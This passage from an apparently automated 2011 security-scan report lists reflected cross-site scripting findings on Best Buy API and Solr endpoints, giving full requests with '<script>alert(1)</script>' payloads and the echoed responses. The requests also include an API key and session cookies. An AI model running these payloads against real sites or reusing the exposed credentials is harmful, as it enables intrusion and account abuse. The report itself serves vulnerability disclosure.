VcxI2K5b/kNO62UgI7m5LvwZJ3e9TODj0MW1FNNjBFPdDgMcrTstI0eP9+shVPmix9PPb+6yno3IND8Z14kjrSjeSr+fWR+er3H/7+s0gKY7K1oDx0gxSjLdkCefv5yJIHrVbz+KjZipNYUvXY46OT95snzebpSesUkQfHx09aR60PLCl1+7ejm8Gzi/tbLdk8O/uis1o4xjX8X+IhH6Y05Pb+Tf8DS3fXm+MGAAA=; CART_CONFIRM=a2e19f05f1b8f32ac46abc725532db61; fsr.a=1320670365188; track_product=%3B3302103%3B3%3B39.99%3B%3B

Response

HTTP/1.1 200 OK
X-Mashery-Responder: mashery-web1.ATL
Etag: "0ae9e2d1529fe941d987c6bf5ef06f3f"
X-Runtime: 5
Content-Type: application/x-javascript; charset=UTF-8
Cache-Control: private, max-age=0, must-revalidate
Connection: close
Server: thin 1.2.11 codename Bat-Shit Crazy
Accept-Ranges: bytes
Content-Length: 2459
Date: Mon, 07 Nov 2011 12:54:25 GMT

busopsLow.BTP.retLoadBTPSKUs({
"error": {
"examples": [
"/v1/products/8880044.xml?apiKey=<YourApiKey> : Get product with sku 8880044, as xml",
"/v1/products/8880044.json?apiKey=<Your
...[SNIP]...
tmentId=3))?show=name,modelNumber,image,categoryPath.id,protectionPlans.sku,sku,productId,buybackPlans.sku&apiKey=enzhw37pqtq5pup8wex2x55a&callback=busopsLow.BTP.retLoadBTPSKUs&pageSize=99&format=json&53de9<script>alert(1)</script>85594a46c93=1'",
"status": "400 Bad Request"
}
})

1.11. http://api.bbyremix.bestbuy.com/v1/products(sku%20in(3302103)&(departmentId=3)) [pageSize parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://api.bbyremix.bestbuy.com
Path:   /v1/products(sku%20in(3302103)&(departmentId=3))

Issue detail

The value of the pageSize request parameter is copied into the HTML document as plain text between tags. The payload f20e8<script>alert(1)</script>9a53a13d7a was submitted in the pageSize parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /v1/products(sku%20in(3302103)&(departmentId=3))?show=name,modelNumber,image,categoryPath.id,protectionPlans.sku,sku,productId,buybackPlans.sku&apiKey=enzhw37pqtq5pup8wex2x55a&callback=busopsLow.BTP.retLoadBTPSKUs&pageSize=99f20e8<script>alert(1)</script>9a53a13d7a&format=json HTTP/1.1
Host: api.bbyremix.bestbuy.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.bestbuy.com/site/olspage.jsp?id=pcat17005&type=page&st=tv+streo&cp=1&_requestid=391714
Cookie: group5ab=b; newgroup3=b; newgroup2=a; newgroup=a; group2=c; group=b; TLTUID=6D7B778A093D1009CE54B5FC8914D883; mt.v=1.245581591.1320669526512; bbyonContext=ghp; bbyonRefTitle=Best%20Buy%20-%20Computers%2C%20Video%20Games%2C%20TVs%2C%20Cameras%2C%20Appliances%2C%20Phones; bbyonRefURL=http%3A//www.bestbuy.com/; track={'lastPage':'CRT','page':'Checkout%3A%20Guest%3A%20Cart%20-%20Index','searchLastPage':'Checkout%3A%20Guest%3A%20Cart%20-%20Index','lastCatId':'pcat17005','inCart':'%3B3302103%3B3%3B39.99%3B%3B'}; s_vi=[CS]v1|275BE8AE851D0FA0-60000138200A6501[CE]; ci_IcsCsid=; fsr.s=%7B%22v%22%3A1%2C%22rid%22%3A%221320669534000_215011%22%2C%22ru%22%3A%22http%3A%2F%2Fwww.fakereferrerdominator.com%2FreferrerPathName%3FRefParName%3DRefValue%22%2C%22r%22%3A%22www.fakereferrerdominator.com%22%2C%22st%22%3A%22%22%2C%22to%22%3A5%2C%22c%22%3A%22http%3A%2F%2Fwww.bestbuy.com%2Fsite%2Fsearchpage.jsp%5Cu003bjsessionid%3D862F85406D1E8A88C979674E9560AAD4.bbolsp-app05-53%22%2C%22pv%22%3A3%2C%22lc%22%3A%7B%22d3%22%3A%7B%22v%22%3A3%2C%22s%22%3Atrue%7D%7D%2C%22cd%22%3A3%2C%22sd%22%3A3%2C%22cp%22%3A%7B%22orderDate%22%3A%2211%2F07%2F2011%22%2C%22TLSessionID%22%3A%226D7B778A093D1009CE54B5FC8914D883%22%2C%22bbyABTest%22%3A%2220111106-20111112%20GHP%20Takeover%20Image%20-%20B%22%2C%22bbyKeyWords%22%3A%22tv%20streo%2Ctv%20streo%22%2C%22CartProds%22%3A%223302103%2C3439133%2C2731608%2C3439081%2C2620821%2C1854819%2C2126065%2C3548715%2C2928144%2C1894255%2C2622037%2C2893174%2C2928153%2C2121716%2C1854682%22%7D%2C%22f%22%3A1320670359876%7D; s_sq=%5B%5BB%5D%5D; s_cc=true; JSESSIONID=862F85406D1E8A88C979674E9560AAD4.bbolsp-app05-53; DYN_USER_ID=ATG13342907254; DYN_USER_CONFIRM=3d7ab5f394b37c2c881dc7b7b961c0ba; TLTSID=6D7B778A093D1009CE54B5FC8914D883; CART=H4sIAAAAAAAAAJVUy24jRRQtO4+xncQOsUaskOYLHCceJgEWyHEemHFsMw4a4U1U7r62a1Kvqa72uGeBQGLPGgF/wGa+gg1skPgM2LBjxa12d6c9iAW9sLtO3bp17jm3709/kK3AkA89JRoTCOwkjBo+mzELxtAGogKMBw1lfDANbZQHQaBMo6PUHYOBQx/99f23v7y5/aRItnuk2PUtOei9oAt6yKmcHY6sYXL2UY8cpLm6FsQzmF5TbUltFRlaxg8RcGGik4vryqkKLNnPhfVYYDGuKgYGacrBNCbxknxJCj2yJW4iDcmirmmkKR/SSIC0V0bjDW6ruNRaY811l7ThkjbaWGzkMi+//u29736mP26QQpdsBuw1LDUhpPBqE38reOjj/y3UejVvwuWTbwaP50Vy2iU7UyoYj0bwsq/GZJsN50rCmOyz4KlUr+QZ9e7i6rqkypkEjAtBetBX51h/R0nUdhJaaAs7JiVxxab2Opi51yGz3rwrPyVl8VlIpWU26pEKnaEOF4IynihUjZFLZgLbpyLVbS9Ge3QNXB2OCSbIQ2/OuP92fW5zo0f2827nPKl4jjX1bNfPkDCwCmMzpO7DgnlwCdSGBtq+r2SQpN0Fxx4hg+qmPNAMJqgF/xw4W4CJznGRbB7AAiQ2YEy8H4pJ1ioHLHB5RpZKnxofncbOrec690wpDlRir+2hyeLKqFD3lZ9m3r0D0BdL7BlMn2BlvlpmpeyIDrWUq9lTiFJ1Uwi/gSxuW+RtqYi3LdmJzY01To/srvxGHdCZtTBHIgvbuD9RTdui7eX1F0Oj/DCH1MRozrTGOq7BzlUKl8TIKgO5dM8ptr60EWp4L7h4bhDKt0VKTv/Lgz2NSg8kj4YGDV8fHOcqnHBA9csuKA5wp8pIxAG5nqppg/6bKPU45es+wpxhZaOCNQV3AsohGKnQeFlPB94c/JCv99L6AHII0ioFwHmua6sBGNe2bQN0zHR2B0oZt04WWHJQjlfFrQdydVFegcHkBXhu1tVcxI2K5b/kNO62UgI7m5LvwZJ3e9TODj0MW1FNNjBFPdDgMcrTstI0eP9+shVPmix9PPb+6yno3IND8Z14kjrSjeSr+fWR+er3H/7+s0gKY7K1oDx0gxSjLdkCefv5yJIHrVbz+KjZipNYUvXY46OT95snzebpSesUkQfHx09aR60PLCl1+7ejm8Gzi/tbLdk8O/uis1o4xjX8X+IhH6Y05Pb+Tf8DS3fXm+MGAAA=; CART_CONFIRM=a2e19f05f1b8f32ac46abc725532db61; fsr.a=1320670365188; track_product=%3B3302103%3B3%3B39.99%3B%3B

Response

HTTP/1.1 200 OK
X-Mashery-Responder: mashery-web1.ATL
Etag: "1b515d37b272b7db204c8c0896e24ef6"
X-Runtime: 4
Content-Type: application/x-javascript; charset=UTF-8
Cache-Control: private, max-age=0, must-revalidate
Connection: close
Server: thin 1.2.11 codename Bat-Shit Crazy
Accept-Ranges: bytes
Content-Length: 2455
Date: Mon, 07 Nov 2011 12:54:19 GMT

busopsLow.BTP.retLoadBTPSKUs({
"error": {
"examples": [
"/v1/products/8880044.xml?apiKey=<YourApiKey> : Get product with sku 8880044, as xml",
"/v1/products/8880044.json?apiKey=<Your
...[SNIP]...
02103)&(departmentId=3))?show=name,modelNumber,image,categoryPath.id,protectionPlans.sku,sku,productId,buybackPlans.sku&apiKey=enzhw37pqtq5pup8wex2x55a&callback=busopsLow.BTP.retLoadBTPSKUs&pageSize=99f20e8<script>alert(1)</script>9a53a13d7a&format=json'",
"status": "400 Bad Request"
}
})

1.12. http://api.bbyremix.bestbuy.com/v1/products(sku%20in(3302103)&(departmentId=3)) [show parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://api.bbyremix.bestbuy.com
Path:   /v1/products(sku%20in(3302103)&(departmentId=3))

Issue detail

The value of the show request parameter is copied into the HTML document as plain text between tags. The payload 5a8dc<script>alert(1)</script>ed2d80838e5 was submitted in the show parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /v1/products(sku%20in(3302103)&(departmentId=3))?show=name,modelNumber,image,categoryPath.id,protectionPlans.sku,sku,productId,buybackPlans.sku5a8dc<script>alert(1)</script>ed2d80838e5&apiKey=enzhw37pqtq5pup8wex2x55a&callback=busopsLow.BTP.retLoadBTPSKUs&pageSize=99&format=json HTTP/1.1
Host: api.bbyremix.bestbuy.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.bestbuy.com/site/olspage.jsp?id=pcat17005&type=page&st=tv+streo&cp=1&_requestid=391714
Cookie: group5ab=b; newgroup3=b; newgroup2=a; newgroup=a; group2=c; group=b; TLTUID=6D7B778A093D1009CE54B5FC8914D883; mt.v=1.245581591.1320669526512; bbyonContext=ghp; bbyonRefTitle=Best%20Buy%20-%20Computers%2C%20Video%20Games%2C%20TVs%2C%20Cameras%2C%20Appliances%2C%20Phones; bbyonRefURL=http%3A//www.bestbuy.com/; track={'lastPage':'CRT','page':'Checkout%3A%20Guest%3A%20Cart%20-%20Index','searchLastPage':'Checkout%3A%20Guest%3A%20Cart%20-%20Index','lastCatId':'pcat17005','inCart':'%3B3302103%3B3%3B39.99%3B%3B'}; s_vi=[CS]v1|275BE8AE851D0FA0-60000138200A6501[CE]; ci_IcsCsid=; fsr.s=%7B%22v%22%3A1%2C%22rid%22%3A%221320669534000_215011%22%2C%22ru%22%3A%22http%3A%2F%2Fwww.fakereferrerdominator.com%2FreferrerPathName%3FRefParName%3DRefValue%22%2C%22r%22%3A%22www.fakereferrerdominator.com%22%2C%22st%22%3A%22%22%2C%22to%22%3A5%2C%22c%22%3A%22http%3A%2F%2Fwww.bestbuy.com%2Fsite%2Fsearchpage.jsp%5Cu003bjsessionid%3D862F85406D1E8A88C979674E9560AAD4.bbolsp-app05-53%22%2C%22pv%22%3A3%2C%22lc%22%3A%7B%22d3%22%3A%7B%22v%22%3A3%2C%22s%22%3Atrue%7D%7D%2C%22cd%22%3A3%2C%22sd%22%3A3%2C%22cp%22%3A%7B%22orderDate%22%3A%2211%2F07%2F2011%22%2C%22TLSessionID%22%3A%226D7B778A093D1009CE54B5FC8914D883%22%2C%22bbyABTest%22%3A%2220111106-20111112%20GHP%20Takeover%20Image%20-%20B%22%2C%22bbyKeyWords%22%3A%22tv%20streo%2Ctv%20streo%22%2C%22CartProds%22%3A%223302103%2C3439133%2C2731608%2C3439081%2C2620821%2C1854819%2C2126065%2C3548715%2C2928144%2C1894255%2C2622037%2C2893174%2C2928153%2C2121716%2C1854682%22%7D%2C%22f%22%3A1320670359876%7D; s_sq=%5B%5BB%5D%5D; s_cc=true; JSESSIONID=862F85406D1E8A88C979674E9560AAD4.bbolsp-app05-53; DYN_USER_ID=ATG13342907254; DYN_USER_CONFIRM=3d7ab5f394b37c2c881dc7b7b961c0ba; TLTSID=6D7B778A093D1009CE54B5FC8914D883; CART=H4sIAAAAAAAAAJVUy24jRRQtO4+xncQOsUaskOYLHCceJgEWyHEemHFsMw4a4U1U7r62a1Kvqa72uGeBQGLPGgF/wGa+gg1skPgM2LBjxa12d6c9iAW9sLtO3bp17jm3709/kK3AkA89JRoTCOwkjBo+mzELxtAGogKMBw1lfDANbZQHQaBMo6PUHYOBQx/99f23v7y5/aRItnuk2PUtOei9oAt6yKmcHY6sYXL2UY8cpLm6FsQzmF5TbUltFRlaxg8RcGGik4vryqkKLNnPhfVYYDGuKgYGacrBNCbxknxJCj2yJW4iDcmirmmkKR/SSIC0V0bjDW6ruNRaY811l7ThkjbaWGzkMi+//u29736mP26QQpdsBuw1LDUhpPBqE38reOjj/y3UejVvwuWTbwaP50Vy2iU7UyoYj0bwsq/GZJsN50rCmOyz4KlUr+QZ9e7i6rqkypkEjAtBetBX51h/R0nUdhJaaAs7JiVxxab2Opi51yGz3rwrPyVl8VlIpWU26pEKnaEOF4IynihUjZFLZgLbpyLVbS9Ge3QNXB2OCSbIQ2/OuP92fW5zo0f2827nPKl4jjX1bNfPkDCwCmMzpO7DgnlwCdSGBtq+r2SQpN0Fxx4hg+qmPNAMJqgF/xw4W4CJznGRbB7AAiQ2YEy8H4pJ1ioHLHB5RpZKnxofncbOrec690wpDlRir+2hyeLKqFD3lZ9m3r0D0BdL7BlMn2BlvlpmpeyIDrWUq9lTiFJ1Uwi/gSxuW+RtqYi3LdmJzY01To/srvxGHdCZtTBHIgvbuD9RTdui7eX1F0Oj/DCH1MRozrTGOq7BzlUKl8TIKgO5dM8ptr60EWp4L7h4bhDKt0VKTv/Lgz2NSg8kj4YGDV8fHOcqnHBA9csuKA5wp8pIxAG5nqppg/6bKPU45es+wpxhZaOCNQV3AsohGKnQeFlPB94c/JCv99L6AHII0ioFwHmua6sBGNe2bQN0zHR2B0oZt04WWHJQjlfFrQdydVFegcHkBXhu1tVcxI2K5b/kNO62UgI7m5LvwZJ3e9TODj0MW1FNNjBFPdDgMcrTstI0eP9+shVPmix9PPb+6yno3IND8Z14kjrSjeSr+fWR+er3H/7+s0gKY7K1oDx0gxSjLdkCefv5yJIHrVbz+KjZipNYUvXY46OT95snzebpSesUkQfHx09aR60PLCl1+7ejm8Gzi/tbLdk8O/uis1o4xjX8X+IhH6Y05Pb+Tf8DS3fXm+MGAAA=; CART_CONFIRM=a2e19f05f1b8f32ac46abc725532db61; fsr.a=1320670365188; track_product=%3B3302103%3B3%3B39.99%3B%3B

Response

HTTP/1.1 200 OK
X-Mashery-Responder: mashery-web2.ATL
Etag: "6bd519373ce800046f1901ef0fba8599"
X-Runtime: 4
Content-Type: application/x-javascript; charset=UTF-8
Cache-Control: private, max-age=0, must-revalidate
Connection: close
Server: thin 1.2.11 codename Bat-Shit Crazy
Accept-Ranges: bytes
Content-Length: 2456
Date: Mon, 07 Nov 2011 12:54:14 GMT

busopsLow.BTP.retLoadBTPSKUs({
"error": {
"examples": [
"/v1/products/8880044.xml?apiKey=<YourApiKey> : Get product with sku 8880044, as xml",
"/v1/products/8880044.json?apiKey=<Your
...[SNIP]...
],
"code": 400,
"message": "Couldn't understand '/v1/products(sku in(3302103)&(departmentId=3))?show=name,modelNumber,image,categoryPath.id,protectionPlans.sku,sku,productId,buybackPlans.sku5a8dc<script>alert(1)</script>ed2d80838e5&apiKey=enzhw37pqtq5pup8wex2x55a&callback=busopsLow.BTP.retLoadBTPSKUs&pageSize=99&format=json'",
"status": "400 Bad Request"
}
})

1.13. http://content.bestbuyon.com/solr/select/ [fl parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://content.bestbuyon.com
Path:   /solr/select/

Issue detail

The value of the fl request parameter is copied into the HTML document as plain text between tags. The payload 347c7<script>alert(1)</script>acbda64f428 was submitted in the fl parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /solr/select/?q=-tid:1487%20AND%20tid:1630%20AND%20(ss_type:kaltura_entry2%20OR%20ss_type:gallery%20OR%20ss_type:article)&fl=changed,created,nid,sis_content_link,ss_feature_desc,ss_field_bbydotcom_main_image,ss_field_bbydotcom_thumb_image,ss_field_video_thumbnail,ss_kaltura_entryId,ss_type,title,type347c7<script>alert(1)</script>acbda64f428&sort=sis_field_dotcom_slot%20asc,sis_field_yellow_tag_rating%20desc,created%20desc&start=0&indent=on&wt=json&qt=standard&rows=3&json.wrf=bbyon.modContentFetchCB HTTP/1.1
Host: content.bestbuyon.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.bestbuy.com/

Response

HTTP/1.1 200 OK
Server: Apache/2.2.12 (Ubuntu)
Last-Modified: Mon, 07 Nov 2011 06:28:41 GMT
ETag: "NDY5ZmNmZTUxNDgwMDAwMFNvbHI="
Vary: Accept-Encoding
Content-Type: text/plain;charset=UTF-8
Content-Length: 2365
Date: Mon, 07 Nov 2011 12:38:52 GMT
Connection: close

bbyon.modContentFetchCB({
"responseHeader":{
"status":0,
"QTime":1,
"params":{
   "json.wrf":"bbyon.modContentFetchCB",
   "fl":"changed,created,nid,sis_content_link,ss_feature_desc,ss_field_bbydotcom_main_image,ss_field_bbydotcom_thumb_image,ss_field_video_thumbnail,ss_kaltura_entryId,ss_type,title,type347c7<script>alert(1)</script>acbda64f428",
   "sort":"sis_field_dotcom_slot asc,sis_field_yellow_tag_rating desc,created desc",
   "indent":"on",
   "start":"0",
   "q":"-tid:1487 AND tid:1630 AND (ss_type:kaltura_entry2 OR ss_type:gallery OR ss_typ
...[SNIP]...

1.14. http://content.bestbuyon.com/solr/select/ [indent parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://content.bestbuyon.com
Path:   /solr/select/

Issue detail

The value of the indent request parameter is copied into the HTML document as plain text between tags. The payload e0544<script>alert(1)</script>e02cc1cbe60 was submitted in the indent parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /solr/select/?q=-tid:1487%20AND%20tid:1630%20AND%20(ss_type:kaltura_entry2%20OR%20ss_type:gallery%20OR%20ss_type:article)&fl=changed,created,nid,sis_content_link,ss_feature_desc,ss_field_bbydotcom_main_image,ss_field_bbydotcom_thumb_image,ss_field_video_thumbnail,ss_kaltura_entryId,ss_type,title,type&sort=sis_field_dotcom_slot%20asc,sis_field_yellow_tag_rating%20desc,created%20desc&start=0&indent=one0544<script>alert(1)</script>e02cc1cbe60&wt=json&qt=standard&rows=3&json.wrf=bbyon.modContentFetchCB HTTP/1.1
Host: content.bestbuyon.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.bestbuy.com/

Response

HTTP/1.1 200 OK
Server: Apache/2.2.12 (Ubuntu)
Last-Modified: Mon, 07 Nov 2011 06:40:39 GMT
ETag: "NDY5ZmNmZTUxNDgwMDAwMFNvbHI="
Vary: Accept-Encoding
Content-Type: text/plain;charset=UTF-8
Content-Length: 2446
Date: Mon, 07 Nov 2011 12:38:54 GMT
Connection: close

bbyon.modContentFetchCB({
"responseHeader":{
"status":0,
"QTime":0,
"params":{
   "json.wrf":"bbyon.modContentFetchCB",
   "fl":"changed,created,nid,sis_content_link,ss_feature_desc,ss_field_bbydot
...[SNIP]...
in_image,ss_field_bbydotcom_thumb_image,ss_field_video_thumbnail,ss_kaltura_entryId,ss_type,title,type",
   "sort":"sis_field_dotcom_slot asc,sis_field_yellow_tag_rating desc,created desc",
   "indent":"one0544<script>alert(1)</script>e02cc1cbe60",
   "start":"0",
   "q":"-tid:1487 AND tid:1630 AND (ss_type:kaltura_entry2 OR ss_type:gallery OR ss_type:article)",
   "qt":"standard",
   "wt":"json",
   "rows":"3"}},
"response":{"numFound":8,"start":0,"do
...[SNIP]...

1.15. http://content.bestbuyon.com/solr/select/ [json.wrf parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://content.bestbuyon.com
Path:   /solr/select/

Issue detail

The value of the json.wrf request parameter is copied into the HTML document as plain text between tags. The payload 45afb<script>alert(1)</script>8220418f8a7 was submitted in the json.wrf parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /solr/select/?q=-tid:1487%20AND%20tid:1630%20AND%20(ss_type:kaltura_entry2%20OR%20ss_type:gallery%20OR%20ss_type:article)&fl=changed,created,nid,sis_content_link,ss_feature_desc,ss_field_bbydotcom_main_image,ss_field_bbydotcom_thumb_image,ss_field_video_thumbnail,ss_kaltura_entryId,ss_type,title,type&sort=sis_field_dotcom_slot%20asc,sis_field_yellow_tag_rating%20desc,created%20desc&start=0&indent=on&wt=json&qt=standard&rows=3&json.wrf=bbyon.modContentFetchCB45afb<script>alert(1)</script>8220418f8a7 HTTP/1.1
Host: content.bestbuyon.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.bestbuy.com/

Response

HTTP/1.1 200 OK
Server: Apache/2.2.12 (Ubuntu)
Last-Modified: Mon, 07 Nov 2011 06:40:39 GMT
ETag: "NDY5ZmNmZTUxNDgwMDAwMFNvbHI="
Vary: Accept-Encoding
Content-Type: text/plain;charset=UTF-8
Content-Length: 2487
Date: Mon, 07 Nov 2011 12:38:55 GMT
Connection: close

bbyon.modContentFetchCB45afb<script>alert(1)</script>8220418f8a7({
"responseHeader":{
"status":0,
"QTime":0,
"params":{
   "json.wrf":"bbyon.modContentFetchCB45afb<script>alert(1)</script>8220418
...[SNIP]...

1.16. http://content.bestbuyon.com/solr/select/ [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://content.bestbuyon.com
Path:   /solr/select/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload 1926b<script>alert(1)</script>d41c5288037 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /solr/select/?q=-tid:1487%20AND%20tid:1630%20AND%20(ss_type:kaltura_entry2%20OR%20ss_type:gallery%20OR%20ss_type:article)&fl=changed,created,nid,sis_content_link,ss_feature_desc,ss_field_bbydotcom_main_image,ss_field_bbydotcom_thumb_image,ss_field_video_thumbnail,ss_kaltura_entryId,ss_type,title,type&sort=sis_field_dotcom_slot%20asc,sis_field_yellow_tag_rating%20desc,created%20desc&start=0&indent=on&wt=json&qt=standard&rows=3&json.wrf=bbyon.modContentFetchCB&1926b<script>alert(1)</script>d41c5288037=1 HTTP/1.1
Host: content.bestbuyon.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.bestbuy.com/

Response

HTTP/1.1 200 OK
Server: Apache/2.2.12 (Ubuntu)
Last-Modified: Mon, 07 Nov 2011 06:40:39 GMT
ETag: "NDY5ZmNmZTUxNDgwMDAwMFNvbHI="
Vary: Accept-Encoding
Content-Type: text/plain;charset=UTF-8
Content-Length: 2455
Date: Mon, 07 Nov 2011 12:38:56 GMT
Connection: close

bbyon.modContentFetchCB({
"responseHeader":{
"status":0,
"QTime":0,
"params":{
   "json.wrf":"bbyon.modContentFetchCB",
   "fl":"changed,created,nid,sis_content_link,ss_feature_desc,ss_field_bbydot
...[SNIP]...
_field_dotcom_slot asc,sis_field_yellow_tag_rating desc,created desc",
   "indent":"on",
   "start":"0",
   "q":"-tid:1487 AND tid:1630 AND (ss_type:kaltura_entry2 OR ss_type:gallery OR ss_type:article)",
   "1926b<script>alert(1)</script>d41c5288037":"1",
   "qt":"standard",
   "wt":"json",
   "rows":"3"}},
"response":{"numFound":8,"start":0,"docs":[
   {
    "nid":1841,
    "title":"Call of Duty: Modern Warfare 3 EXCLUSIVE",
    "type":"dotcom_symlink",
    "c
...[SNIP]...

1.17. http://content.bestbuyon.com/solr/select/ [q parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://content.bestbuyon.com
Path:   /solr/select/

Issue detail

The value of the q request parameter is copied into the HTML document as plain text between tags. The payload 99a1a<script>alert(1)</script>286f7b3d907 was submitted in the q parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /solr/select/?q=-tid:1487%20AND%20tid:1630%20AND%20(ss_type:kaltura_entry2%20OR%20ss_type:gallery%20OR%20ss_type:article)99a1a<script>alert(1)</script>286f7b3d907&fl=changed,created,nid,sis_content_link,ss_feature_desc,ss_field_bbydotcom_main_image,ss_field_bbydotcom_thumb_image,ss_field_video_thumbnail,ss_kaltura_entryId,ss_type,title,type&sort=sis_field_dotcom_slot%20asc,sis_field_yellow_tag_rating%20desc,created%20desc&start=0&indent=on&wt=json&qt=standard&rows=3&json.wrf=bbyon.modContentFetchCB HTTP/1.1
Host: content.bestbuyon.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.bestbuy.com/

Response

HTTP/1.1 200 OK
Server: Apache/2.2.12 (Ubuntu)
Last-Modified: Mon, 07 Nov 2011 06:40:39 GMT
ETag: "NDY5ZmNmZTUxNDgwMDAwMFNvbHI="
Vary: Accept-Encoding
Content-Type: text/plain;charset=UTF-8
Content-Length: 660
Date: Mon, 07 Nov 2011 12:38:52 GMT
Connection: close

bbyon.modContentFetchCB({
"responseHeader":{
"status":0,
"QTime":1,
"params":{
   "json.wrf":"bbyon.modContentFetchCB",
   "fl":"changed,created,nid,sis_content_link,ss_feature_desc,ss_field_bbydot
...[SNIP]...
:"sis_field_dotcom_slot asc,sis_field_yellow_tag_rating desc,created desc",
   "indent":"on",
   "start":"0",
   "q":"-tid:1487 AND tid:1630 AND (ss_type:kaltura_entry2 OR ss_type:gallery OR ss_type:article)99a1a<script>alert(1)</script>286f7b3d907",
   "qt":"standard",
   "wt":"json",
   "rows":"3"}},
"response":{"numFound":0,"start":0,"docs":[]
}})

2. Content type incorrectly stated  previous

Summary

Severity:   Information
Confidence:   Firm
Host:   http://content.bestbuyon.com
Path:   /solr/select/

Issue detail

The response contains the following Content-type statement:The response states that it contains plain text. However, it actually appears to contain CSS.

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

GET /solr/select/?q=-tid:1487%20AND%20tid:1630%20AND%20(ss_type:kaltura_entry2%20OR%20ss_type:gallery%20OR%20ss_type:article)&fl=changed,created,nid,sis_content_link,ss_feature_desc,ss_field_bbydotcom_main_image,ss_field_bbydotcom_thumb_image,ss_field_video_thumbnail,ss_kaltura_entryId,ss_type,title,type&sort=sis_field_dotcom_slot%20asc,sis_field_yellow_tag_rating%20desc,created%20desc&start=0&indent=on&wt=json&qt=standard&rows=3&json.wrf=bbyon.modContentFetchCB HTTP/1.1
Host: content.bestbuyon.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.bestbuy.com/

Response

HTTP/1.1 200 OK
Server: Apache/2.2.12 (Ubuntu)
Last-Modified: Mon, 07 Nov 2011 06:40:39 GMT
ETag: "NDY5ZmNmZTUxNDgwMDAwMFNvbHI="
Vary: Accept-Encoding
Content-Type: text/plain;charset=UTF-8
Content-Length: 2405
